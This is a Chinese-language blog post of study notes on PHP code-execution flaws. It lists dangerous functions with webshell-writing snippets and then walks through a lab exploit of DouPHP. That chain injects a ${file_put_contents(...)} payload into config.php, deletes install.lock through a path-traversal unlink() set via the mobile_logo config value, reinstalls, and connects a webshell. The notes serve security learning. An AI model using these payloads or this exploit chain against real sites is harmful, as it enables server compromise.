代码执行漏洞(RCE)

发布于 2022-03-16  48 次阅读


前提(代码审计)

  • 白盒测试(可以看到源代码)
  • SQL(拦截规则)
  • 触发链很长的漏洞(反序列化) A页面输入一些恶意的攻击参数 B页面能够调用A页面的参数,然后再输入一些恶意参数 C页面才能够执行
  • 黑盒测试

代码审计方法:

  1. 通读全文发()
  2. 危险函数定位法(mysqli_query())

代码执行|远程命令(RCE)

remote command/code execute

原理:

用户输入的数据被当作后端代码进行执行

一句话木马就是典型的代码执行漏洞

常见函数:

  • eval() 把字符串当代码执行 [eval他不是函数,不受disable _function影响] disable _function作用是禁用函数 eval()可以用php插件将eval()禁用
  • assert()只能执行单行数据的情况 assert("eval('')")套娃 file_put_contents('1.php','<?php echo 1;echo 2;echo 3?>')
  • preg_replace() 正则替换, /e
  <?php
  echo preg_replace('/a/e',$_GET[8],'ac')
  ?>

  匹配到就会代码执行
  • create_function()

​ 根据传递的参数创建匿名函数,并为其返回唯一名称。

$a = create_function('$id','echo $id;'); 自定义函数$a
echo $a(8);   //调用 有定义 才有用 ,8会传给到$a中的$id
  • 回调函数()函数 array_map('函数名','传参数组') 把数组中的各个元素放入函数中执行,然后结果也是数组 call_user_func()也是回调函数
  • 双引号二次解析(PHP版本有要求 5.5。38以上) 条件:
    1. 在双引号内部
    2. ${}在一起
    3. 中间内容会被代码执行
    4. PHP版本要5.5.38以上
<?php 
$a="${phpinfo()}";
$b="${file_put_contents('1.php','<?php eval($_REQUEST[1]);?>')}";
?>

​ 传参会被写入文件,只要在双引号内就可以

靶场实操

本地查看DouPHP

image-20220313205648752
image-20220313210148313

查看config.php文件

image-20220313210350204

发现数据库账号密码被双引号包裹

于是就可以尝试在注册的时候使用写马函数,进行写入一句话

${file_put_contents($_GET[1],$_GET[2])}

image-20220313212030878

成功写入到配置文件中

image-20220313212111151
image-20220313212737341

成功将一句话写入

image-20220313212825809

这是在本地进行安装,但是在正常网站中并不能进行安装。

那如何才能注册呢?

image-20220313213043126

这个就是方法

需要使用到可以删除文件和函数

unlink()

代码审计,寻找可控的unlink()函数

image-20220313213635903
$mobile_logo = $dou->get_one("SELECT value FROM " . $dou->table('config') . " WHERE name = 'mobile_logo'");
image-20220313214552117
image-20220313214747812
image-20220313215154461
../../../../data/install.lock

这个相对路径或许可以删除

    foreach ($_POST as $name => $value) {   #键值分离(key:value)
            if (is_array($value)) $value = serialize($value);
            $dou->query("UPDATE " . $dou->table('config') . " SET value = '$value' WHERE name = '$name'");
        }

        update config set value=$value where name=$name;

        $value ='../../../../data/install.lock'
        $name ='mobile_logo'
image-20220313223442616

上传之后直接删除就可以

开始正式靶场

和本地操作一样,就进入了重装界面

image-20220313225150884
image-20220313230148013
image-20220313225707188
image-20220313230216049
image-20220313230233764

OK进入了

上菜刀

image-20220313230402368

太陽のように輝く